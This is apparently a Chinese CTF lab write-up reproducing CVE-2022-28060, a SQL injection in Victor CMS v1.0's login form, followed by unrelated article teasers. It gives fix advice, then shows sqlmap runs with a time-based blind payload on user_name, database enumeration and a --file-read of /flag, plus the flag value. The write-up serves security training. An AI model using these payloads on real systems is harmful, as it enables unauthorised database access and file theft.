Victor CMS v1.0 SQL 注入漏洞(CVE-2022-28060)

news2024/11/16 18:10:59

前言

CVE-2022-28060 是 Victor CMS v1.0 中的一个SQL注入漏洞。该漏洞存在于 /includes/login.php 文件中的 user_name 参数。攻击者可以通过发送特制的 SQL 语句,利用这个漏洞执行未授权的数据库操作,从而访问或修改数据库中的敏感信息。

漏洞详细信息

  • 漏洞类型:SQL注入
  • 受影响的组件:Victor CMS v1.0
  • 攻击途径:远程攻击者可以利用该漏洞,通过发送特制的请求来执行任意的 SQL 语句。
  • 漏洞严重性:高 (CVSS v3 基础分数:7.5)​

解决方案

  • 使用准备好的语句:采用预编译的 SQL 语句或参数化查询来处理 SQL 请求。
  • 输入验证:对所有用户输入进行严格的验证和过滤,确保只接受符合预期格式的输入。
  • 最小权限原则:为数据库用户分配最低的权限,确保即使发生注入攻击,攻击者也无法获得过多的权限

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。

教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。

竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。

资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Victor CMS v1.0 是一个设计用于管理和发布网站内容的开源内容管理系统(CMS)。以下是关于Victor CMS v1.0 的主要特点和功能:

主要特点

  1. 内容管理

    • 提供用户友好的界面,支持创建、编辑和发布网站内容,包括文章、页面和多媒体文件。
  2. 用户管理

    • 允许管理员创建和管理用户账户,设定不同的权限和角色,如管理员和编辑。
  3. 主题和定制

    • 支持多种主题和模板,用户可以根据需求自定义网站的外观和布局。
  4. 多语言支持

    • 提供多语言功能,使得网站内容可以用多种语言呈现,满足全球用户的需求。
  5. SEO优化

    • 集成了搜索引擎优化(SEO)功能,帮助网站内容更容易被搜索引擎索引和检索。
  6. 安全性

    • 考虑了数据安全和用户认证,支持基本的访问控制和身份验证机制。

应用场景

Victor CMS v1.0 适用于小型企业、个人博客和社区网站,提供了一个简单而功能丰富的内容管理平台。用户可以利用其灵活的功能来构建和管理各种类型的网站,从而满足不同用户的需求。

开发和社区支持

作为开源项目,Victor CMS v1.0 提供了开放的开发环境和社区支持。用户可以访问其 GitHub 页面和相关社区论坛,获取技术支持、更新和定制建议。

总结

Victor CMS v1.0 是一个适用于各种网站项目的开源内容管理系统,通过其简单易用的界面和丰富的功能,为用户提供了创建和管理网站内容的便利。如果你对搭建个人网站或小型企业网站感兴趣,Victor CMS v1.0 可能是一个值得考虑的选择。

漏洞复现

打开靶场

加载网页有点抽象,得往下滑才能找到登录框

随便输入数值然后抓包拦截

可以看到是 POST 的形式,复制数据包的值到 txt 文件中

先探测一波,发现 user_name 字段存在 SQL 注入 

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:56:03 /2024-06-30/

[15:56:03] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:56:03] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:56:03] [INFO] testing connection to the target URL
[15:56:03] [INFO] testing if the target URL content is stable
[15:56:04] [INFO] target URL content is stable
[15:56:04] [INFO] testing if POST parameter 'user_name' is dynamic
[15:56:04] [WARNING] POST parameter 'user_name' does not appear to be dynamic
[15:56:04] [WARNING] heuristic (basic) test shows that POST parameter 'user_name' might not be injectable
[15:56:04] [INFO] testing for SQL injection on POST parameter 'user_name'
[15:56:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:04] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:56:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:56:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:56:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:56:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:56:06] [INFO] testing 'Generic inline queries'
[15:56:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:56:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:56:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:56:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:56:28] [INFO] POST parameter 'user_name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:56:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:56:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
got a 302 redirect to 'http://eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[15:56:30] [INFO] target URL appears to be UNION injectable with 9 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[15:56:40] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[15:56:40] [INFO] checking if the injection point on POST parameter 'user_name' is a false positive
POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[15:57:10] [INFO] the back-end DBMS is MySQL
[15:57:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[15:57:11] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com'

[*] ending @ 15:57:11 /2024-06-30/

暴力破解数据库

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:57:32 /2024-06-30/

[15:57:32] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:57:32] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:57:32] [INFO] resuming back-end DBMS 'mysql' 
[15:57:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[15:57:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:57:32] [INFO] fetching database names
[15:57:32] [INFO] fetching number of databases
[15:57:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)     
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:57:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[15:57:56] [INFO] retrieved: 
[15:58:06] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[16:00:09] [INFO] retrieved: mysql
[16:00:44] [INFO] retrieved: performance_schema
[16:02:46] [INFO] retrieved: php_cms
[16:03:51] [INFO] retrieved: sys
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] php_cms
[*] sys

在 mysql 库中查找文件 flag 

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch -D "mysql" --file-read "/flag"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:21:11 /2024-06-30/

[16:21:11] [INFO] parsing HTTP request from 'sqlmap.txt'
[16:21:11] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:21:11] [INFO] resuming back-end DBMS 'mysql' 
[16:21:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[16:21:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[16:21:11] [INFO] fingerprinting the back-end DBMS operating system
[16:21:14] [INFO] the back-end DBMS operating system is Linux
[16:21:14] [INFO] fetching file: '/flag'
[16:21:14] [INFO] retrieved: 
[16:21:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
6
[16:21:44] [INFO] adjusting time delay to 1 second due to good response times
66C61677B39623135393033642D313165642D343032632

D613232622D6434666537303065656330367D
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[16:27:51] [INFO] retrieved: 42
[16:27:59] [INFO] the local file '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag' and the remote file '/flag' have the same size (42 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag (same file)

[16:27:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com'

[*] ending @ 16:27:59 /2024-06-30/

访问 flag 

──(root㉿kali)-[/home/suc2es2]
└─# cat /root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag
flag{9b15903d-11ed-402c-a22b-d4fe700eec06}                        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1883223.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

武汉星起航:跨境电商流量红利爆发,2023年出海企业迎突破增长

在数字时代的浪潮中,中国跨境电商以惊人的爆发力崭露头角,成为全球贸易的璀璨新星。2023年数据显示,跨境电商出口额高达1.83万亿元,同比增长19.6%,这一显著增速不仅刷新纪录,更为众多出海企业带来了前所未有…

MySQL-行级锁(行锁、间隙锁、临键锁)

文章目录 1、介绍2、查看意向锁及行锁的加锁情况3、行锁的演示3.1、普通的select语句,执行时,不会加锁3.2、select * from stu where id 1 lock in share mode;3.3、共享锁与共享锁之间兼容。3.4、共享锁与排他锁之间互斥。3.5、排它锁与排他锁之间互斥3…

TopK问题与如何在有限内存找出前几最大(小)项(纯c语言版)

目录 0.前言 1.知识准备 2.实现 1.首先是必要的HeapSort 2.造数据 其他注意事项 3.TopK的实现 0.前言 在我们的日常生活中总有排名系统,找出前第k个分数最高的人,而现在让我们用堆来在有限内存中进行实现 1.知识准备 想要实现topk问题首先我们要…

【stm32】大一上学期笔记复制

砌墙单片机 外设是什么? ipage 8 nx轴 128 X0-127 y0-63 PWM脉冲宽度调制 PWM脉冲宽度调制 2023年10月13日 基本特性:脉冲宽度调制PWM是一种对模拟信号进行数字编码的方法。广泛引用于电机控制,灯光的亮度调节,功率控制等领域…

科普文:一文搞懂jvm原理(二)类加载器

概叙 科普文:一文搞懂jvm(一)jvm概叙-CSDN博客 前面我们介绍了jvm,jvm主要包括两个子系统和两个组件: Class loader(类装载器) 子系统,Execution engine(执行引擎) 子系统;Runtime data area (运行时数据区域)组件&am…

类和对象【上】【C++】

P. S.:以下代码均在VS2019环境下测试,不代表所有编译器均可通过。 P. S.:测试代码均未展示头文件stdio.h的声明,使用时请自行添加。 博主主页:LiUEEEEE                        …

试用笔记之-收钱吧安卓版演示源代码,收钱吧手机版感受

首先下载: https://download.csdn.net/download/tjsoft/89499105 安卓手机安装 如果有收钱吧帐号输入收钱吧帐号和密码。 如果没有收钱吧帐号点我的注册 登录收钱吧帐号后就可以把手机当成收钱吧POS机用了,还可以扫客服的付款码哦 源代码技术交流QQ:42…

Nuxt3 的生命周期和钩子函数(七)

title: Nuxt3 的生命周期和钩子函数(七) date: 2024/6/30 updated: 2024/6/30 author: cmdragon excerpt: 摘要:文章阐述了Nuxt3中Nitro生命周期钩子的使用,如nitro:config自定义配置、nitro:init注册构建钩子、nitro:build:be…

Python自动化,实现自动登录并爬取商品数据,实现数据可视化

关于如何使用Python自动化登录天 猫并爬取商品数据的指南,我们需要明确这是一个涉及多个步骤的复杂过程,且需要考虑到天猫的反爬虫策略。以下是一个简化的步骤指南: 步骤一:准备工作 环境准备:确保你的Python环境已经…

数据沿袭是止痛药还是维生素?

首先,这在很大程度上取决于用户组织当前的使用案例及其成熟度。 在我看来,数据工程师喜欢查看数据流并对依赖关系有直观的了解,但他们最终真的会使用数据沿袭吗?使用频率是多少?具体用例是什么? 从我们的观…

<电力行业> - 《第12课:配电(2)》

5 配网的指标 配电网与广大用户紧密联系,所以配电网是否合格还是十分重要的。 评判配电网的标准,主要有四个指标: 供电可靠性:供电可靠性是指针对用户连续供电的可靠程度。网损率:网损率可定义为电力网的电能损耗量与…

问题-小技巧-专业版Win11怎么启动电脑的休眠模式?

专业版Win11怎么启动电脑的休眠模式? powercfg -a powercfg -hibernate on 启用管理员面板依次输入上述命令就可以了。

短视频电商源码怎么选择

随着移动互联网的迅猛发展,短视频电商成为了一种热门的商业模式。很多商家和创业者都希望能够快速搭建一个短视频电商平台来推广和销售自己的产品。然而,选择合适的短视频电商源码并不是一件容易的事情。在选择之前,有一些关键因素需要考虑。…

控制器方法执行流程和 @InitBinder【Spring源码学习】

控制器方法执行流程 InitBinder 加在ControllerAdvice中 首先说明ControllerAdvice和aop没有任何关系! 加在ControllerAdvice中只对所有控制器都生效 全局的在开始时就会保存到handlerMappingAdapter中的cache中; 加在Controller中 加在controller中只对…

小程序使用echarts和echarts配置项总结(全网最简单详细)

文章目录 概要小程序中使用echarts1. ec-canvas2. 下载项目3. 去echarts官网定制:4.点击下载5.引入使用 echarts的option配置知识点归纳整理(还在更新):小结 概要 小程序中使用echarts(简单详细) 小程序中…

redis,memcached,nginx网络组件

课程目标: 1.网络模块要处理哪些事情 2.reactor是怎么处理这些事情的 3.reactor怎么封装 4.网络模块与业务逻辑的关系 5.怎么优化reactor? io函数 函数调用 都有两个作用:io检测 是否就绪 io操作 1. int clientfd accept(listenfd, &addr, &l…

[论文精读]Variational Graph Auto-Encoders

论文网址:[1611.07308] Variational Graph Auto-Encoders (arxiv.org) 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎…

已解决 SyntaxError: invalid syntax,Python报错原因和解决方案。

「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。 这篇文章带大家…

【WSL2+Ubuntu+Docker Desktop】迁移到D盘

如果不会安装Ubuntu&#xff0c;可以看这篇文章 安装到C盘后先创建Ubuntu实例 下载完之后先创建实例&#xff0c;输入自己的实例名以及密码 迁移wsl-2 wsl默认保存在C:\Users<主机名>\AppData\Local下 随着在子系统上安装的软件/服务越来越多&#xff0c;C盘的空间也所…

前端——在本地搭建Vue单页应用

目录 1、安装最新node.js 2、打开命令行窗口 3、进入要保存项目的目录下 4、安装 Vue CLI 5、创建新项目&#xff0c;选择功能 5.1 新建项目 5.2 Please pick a preset 5.3 Check the features needed for your project 5.4 Choose a version of Vue.js 5.5 Use hist…